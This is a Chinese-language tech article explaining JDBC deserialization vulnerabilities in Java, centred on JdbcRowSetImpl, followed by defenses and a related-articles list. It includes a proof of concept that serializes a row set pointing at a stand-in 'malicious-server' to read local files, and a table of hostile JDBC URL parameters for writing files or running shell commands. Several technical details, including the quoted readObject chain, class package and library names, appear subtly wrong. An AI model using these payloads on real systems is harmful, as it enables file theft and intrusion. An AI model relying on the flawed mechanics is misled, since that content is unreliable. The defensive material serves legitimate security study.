Java JDBC 反序列化实战案例

 更新时间:2025年11月11日 10:23:55   作者:独角鲸网络安全实验室  
这篇文章主要介绍了Java JDBC 反序列化实战案例,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧

JDBC(Java Database Connectivity)是Java访问数据库的标准API,其核心定位是提供数据库连接、SQL执行、结果集处理的内存态操作接口——JDBC核心组件(DriverConnectionStatementResultSet)本身不设计序列化/反序列化能力,也不建议被持久化或跨网络传输。

但在实际开发中,基于JDBC的扩展组件(如RowSet、数据源实现)或自定义JDBC封装类,可能因实现Serializable接口、反序列化时执行危险操作(如加载恶意类、执行SQL注入、连接恶意数据库),导致反序列化漏洞。

一、核心前提:JDBC与序列化的本质关系

1. JDBC核心组件的设计初衷

JDBC核心API(java.sql.*包)的对象(如ConnectionStatementResultSet)是数据库连接的运行时句柄,依赖底层Socket连接和数据库会话状态,设计目标是“内存中临时使用”,不支持序列化(未实现Serializable接口)。

2. 风险来源:JDBC扩展组件的序列化支持

漏洞并非来自JDBC标准本身,而是来自基于JDBC的扩展组件——这些组件为了支持“数据持久化”或“跨进程传输”,实现了Serializable接口,但在反序列化过程中执行了危险逻辑:

  • JDK自带:javax.sql.rowset.JdbcRowSetImplCachedRowSetImplWebRowSetImpl(RowSet接口的实现,封装了JDBC连接逻辑);
  • 第三方数据源:Apache DBCP的BasicDataSource、C3P0的ComboPooledDataSource(序列化时存储了数据库连接配置);
  • ORM工具集成:Hibernate的PersistentBag、MyBatis的ResultMap(若封装了JDBC相关对象并支持序列化);
  • 自定义封装类:开发者自定义的JDBC工具类(如SerializableDBHelper),反序列化时执行数据库连接或SQL执行。

二、典型漏洞原理:以JdbcRowSetImpl为例

JdbcRowSetImpl是JDK自带的RowSet实现(javax.sql.rowset包),支持序列化,其反序列化漏洞是JDBC相关反序列化风险的典型代表,影响JDK 8u121之前的版本(后续JDK通过安全修复限制了危险操作)。

1. 漏洞触发链路

JdbcRowSetImpl的反序列化漏洞核心是:反序列化时自动执行数据库连接逻辑,且连接参数(URL、驱动类、用户名、密码)可被攻击者控制

关键流程拆解:

// 1. JdbcRowSetImpl实现Serializable接口,允许序列化/反序列化
public class JdbcRowSetImpl implements Serializable, JdbcRowSet { ... }
// 2. 反序列化时调用readObject()方法(默认或自定义)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ois.defaultReadObject(); // 读取序列化的属性(url、user、password、driverClass等)
    internalInit(); // 初始化内部状态
    connect(); // 关键:反序列化时自动建立数据库连接
}
// 3. connect()方法的危险逻辑
private void connect() throws SQLException {
    if (driverClass != null) {
        Class.forName(driverClass); // 加载驱动类(若driverClass可控,可加载恶意类)
    }
    // 建立数据库连接(若URL可控,可利用JDBC驱动的危险参数执行命令)
    this.conn = DriverManager.getConnection(url, user, password);
}

2. 漏洞放大:JDBC驱动的危险特性

不同数据库的JDBC驱动支持一些“危险URL参数”,若攻击者控制JdbcRowSetImplurl属性,可通过这些参数执行恶意操作:

数据库危险URL参数危害
MySQLallowLoadLocalInfile=true读取本地文件(配合SQL注入)
MySQLlogOutput=FILE&logFile=/tmp/malicious.sh写入恶意文件
PostgreSQLoptions=-c 'shell command'执行系统命令(需数据库权限)
恶意驱动jdbc:malicious://...加载自定义恶意JDBC驱动,执行任意代码

3. 漏洞触发条件

  • 应用程序对不可信数据(如网络传输、文件上传、缓存、日志)执行反序列化;
  • 应用依赖JDK 8u121之前的版本(未修复该漏洞);
  • 攻击者可控制序列化数据中的JdbcRowSetImpl属性(urldriverClassuserpassword)。

三、其他JDBC相关反序列化风险点

1. 第三方数据源组件

  • Apache DBCP BasicDataSource:序列化时存储了urlusernamepassworddriverClassName等配置,反序列化时若参数被篡改,可能导致连接恶意数据库或泄露敏感信息;
  • C3P0 ComboPooledDataSource:同理,序列化的连接池配置可被篡改,反序列化时初始化恶意连接池。

2. ORM工具与JDBC的结合场景

  • Hibernate:若实体类包含Serializable的JDBC相关对象(如ResultSet封装类),且反序列化时触发懒加载,可能执行恶意SQL;
  • MyBatis:若ResultMap对应的实体类实现Serializable,且反序列化时触发@PostConstruct或自定义readObject中的JDBC操作,可能被利用。

3. 自定义JDBC封装类

开发者常自定义Serializable的JDBC工具类(如DBUtil),若存在以下情况,可能引入漏洞:

  • readObject方法中直接执行Class.forName(driverClass)(驱动类可控);
  • 反序列化时自动执行executeQuery(sql)(SQL语句可控,导致SQL注入);
  • 序列化数据中包含数据库密码,未加密导致泄露。

四、漏洞防御方案(核心:阻断危险反序列化链路)

JDBC相关反序列化漏洞的防御核心是:避免序列化JDBC相关对象、限制反序列化类范围、禁用危险功能、验证数据来源

1. 根本原则:禁止序列化JDBC相关对象

  • 不序列化RowSetDataSourceConnection等JDBC相关对象;
  • 若需跨进程传输数据库查询结果,使用DTO(数据传输对象) 封装纯数据(如UserDTO包含idname),而非直接序列化ResultSetRowSet
  • 替代方案:使用JSON、XML等安全序列化格式(如Jackson、Fastjson),而非Java原生序列化。

2. 限制反序列化的类范围(最有效)

使用反序列化过滤器,只允许信任的类进行反序列化,禁止危险类(如javax.sql.rowset.*、第三方数据源类):

  • Java 9+:使用ObjectInputFilter(JDK原生支持);
  • Java 8及以下:使用第三方库(如Apache Commons IO的ValidatingObjectInputStream、Google Guava的SerializationFilters)。

示例:Java 9+ ObjectInputFilter配置

// 仅允许com.example包下的类和Java基础类反序列化,禁止javax.sql.rowset.*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.example.*; java.base/*; !javax.sql.rowset.*; !org.apache.commons.dbcp.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // 设置过滤器
Object obj = ois.readObject(); // 仅允许白名单类反序列化

3. 禁用JDBC驱动的危险功能

配置JDBC URL时,显式禁用危险参数:

  • MySQL:allowLoadLocalInfile=falselogOutput=NONE
  • PostgreSQL:避免使用options参数,或限制数据库用户权限(禁止执行shell命令);
  • 禁用不必要的JDBC驱动:仅加载应用所需的数据库驱动,避免加载恶意驱动(如通过DriverManager.deregisterDriver()移除无用驱动)。

4. 验证序列化数据的来源与完整性

  • 仅对可信来源(如内部服务、加密存储)的数据进行反序列化;
  • 对序列化数据进行签名或加密(如使用AES加密+RSA签名),反序列化前验证签名,防止数据被篡改。

5. 升级依赖组件

  • 升级JDK:至8u121+(修复JdbcRowSetImpl反序列化漏洞)或更高版本;
  • 升级JDBC驱动:使用官方最新版本,修复已知的URL参数注入、驱动类加载漏洞;
  • 升级数据源/ORM框架:如Apache DBCP 2.9.0+、C3P0 0.9.5.9+、Hibernate 5.6.14.Final+。

6. 避免自定义危险的readObject方法

若必须自定义Serializable类(如DTO),需满足:

  • readObject方法中不执行危险操作(类加载、数据库连接、SQL执行、命令调用);
  • 对反序列化的属性(如urldriverClass)进行严格校验(如正则匹配合法URL格式、白名单校验驱动类名)。

五、实战案例:JdbcRowSetImpl漏洞POC(仅供学习)

以下POC演示如何构造恶意JdbcRowSetImpl序列化数据,触发反序列化时的恶意数据库连接(需在JDK 8u121之前环境测试):

1. 构造恶意序列化数据

import javax.sql.rowset.JdbcRowSetImpl;
import java.io.*;
public class JdbcRowSetPoc {
    public static void main(String[] args) throws Exception {
        // 1. 构造恶意JdbcRowSetImpl对象(控制URL和驱动类)
        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setUrl("jdbc:mysql://malicious-server:3306/test?allowLoadLocalInfile=true"); // 恶意URL
        rowSet.setDriverClass("com.mysql.cj.jdbc.Driver"); // 合法驱动(或恶意驱动类名)
        rowSet.setUsername("attacker");
        rowSet.setPassword("pass123");
        // 2. 序列化对象到字节流(攻击者可将该字节流注入目标应用)
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(rowSet);
        byte[] maliciousData = bos.toByteArray();
        // 3. 目标应用反序列化(模拟漏洞触发)
        ByteArrayInputStream bis = new ByteArrayInputStream(maliciousData);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject(); // 反序列化时触发connect(),连接恶意MySQL服务器
    }
}

2. 漏洞危害说明

  • driverClass设为恶意类(如com.attacker.MaliciousDriver),且该类可被目标应用加载(如通过类路径注入),则Class.forName(driverClass)会执行恶意类的静态代码块;
  • url包含MySQL的allowLoadLocalInfile=true,配合后续SQL注入,可读取目标服务器本地文件(如/etc/passwd);
  • 连接恶意数据库服务器,可能泄露应用的敏感信息(如用户名、密码、业务数据)。

六、总结:JDBC反序列化漏洞的核心认知

  1. 漏洞根源不是JDBC本身:JDBC标准API不支持序列化,风险来自“实现了Serializable的JDBC扩展组件”和“不当的序列化实践”;
  2. 触发核心是“反序列化+危险操作”:漏洞的关键是反序列化过程中自动执行数据库连接、类加载等危险逻辑,且输入参数可控;
  3. 防御核心是“最小权限+可信数据”:限制反序列化类范围、禁止序列化JDBC相关对象、禁用危险功能、验证数据来源,即可阻断绝大多数风险。

在实际开发中,应遵循“能不序列化则不序列化”的原则,若必须序列化,仅传输纯数据(DTO),而非包含业务逻辑(如数据库连接)的对象。同时,通过反序列化过滤器、组件升级、参数校验等手段,构建多层防御体系。

到此这篇关于Java JDBC 反序列化深度解析的文章就介绍到这了,更多相关Java JDBC 反序列化内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • SpringBoot配置Redis实现保存获取和删除数据

    SpringBoot配置Redis实现保存获取和删除数据

    本文主要介绍了SpringBoot配置Redis实现保存获取和删除数据,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,感兴趣的小伙伴们可以参考一下
    2021-06-06
  • Mybatis空值关联的具体实现

    Mybatis空值关联的具体实现

    在复杂的数据库查询中,处理空值关联是一项常见的需求,本文就来介绍一下Mybatis空值关联的具体实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2024-07-07
  • java wait()/notify() 实现生产者消费者模式详解

    java wait()/notify() 实现生产者消费者模式详解

    这篇文章主要介绍了java wait()/notify() 实现生产者消费者模式详解,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2021-07-07
  • java中@ModelAttribute注解的作用

    java中@ModelAttribute注解的作用

    本文主要介绍了java中@ModelAttribute注解的作用。具有很好的参考价值,下面跟着小编一起来看下吧
    2017-02-02
  • 使用 Apache POI 在 Java 中写入 Excel 文件的方法

    使用 Apache POI 在 Java 中写入 Excel

    这篇文章详细介绍了如何使用ApachePOI在Java中编写Excel文件的技巧,包括创建工作簿、工作表、行和单元格,以及如何处理不同版本的Excel文件,通过详细的步骤和代码示例,读者可以快速掌握ApachePOI的基本使用方法,感兴趣的朋友一起看看吧
    2025-02-02
  • SpringBoot集成pf4j实现插件开发功能的代码示例

    SpringBoot集成pf4j实现插件开发功能的代码示例

    pf4j是一个插件框架,用于实现插件的动态加载,支持的插件格式(zip、jar),本文给大家介绍了SpringBoot集成pf4j实现插件开发功能的示例,文中通过代码示例给大家讲解的非常详细,需要的朋友可以参考下
    2024-07-07
  • SpringBoot和前端Vue的跨域问题及解决方案

    SpringBoot和前端Vue的跨域问题及解决方案

    所谓跨域就是从 A 向 B 发请求,如若他们的地址协议、域名、端口都不相同,直接访问就会造成跨域问题,跨域是非常常见的现象,这篇文章主要介绍了解决SpringBoot和前端Vue的跨域问题,需要的朋友可以参考下
    2023-11-11
  • Java实现JDK动态代理的原理详解

    Java实现JDK动态代理的原理详解

    这篇文章主要介绍了Java实现JDK动态代理的原理详解,Java常用的动态代理模式有JDK动态代理,也有cglib动态代理,本文重点讲解JDK的动态代理,需要的小伙伴可以参考一下的相关资料
    2022-07-07
  • springboot如何整合elasticsearch

    springboot如何整合elasticsearch

    这篇文章主要介绍了springboot如何整合elasticsearch问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-04-04
  • JavaWeb简单用户登录注册实例代码(有验证码)

    JavaWeb简单用户登录注册实例代码(有验证码)

    这篇文章主要介绍了JavaWeb简单用户登录注册实例代码,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-02-02

最新评论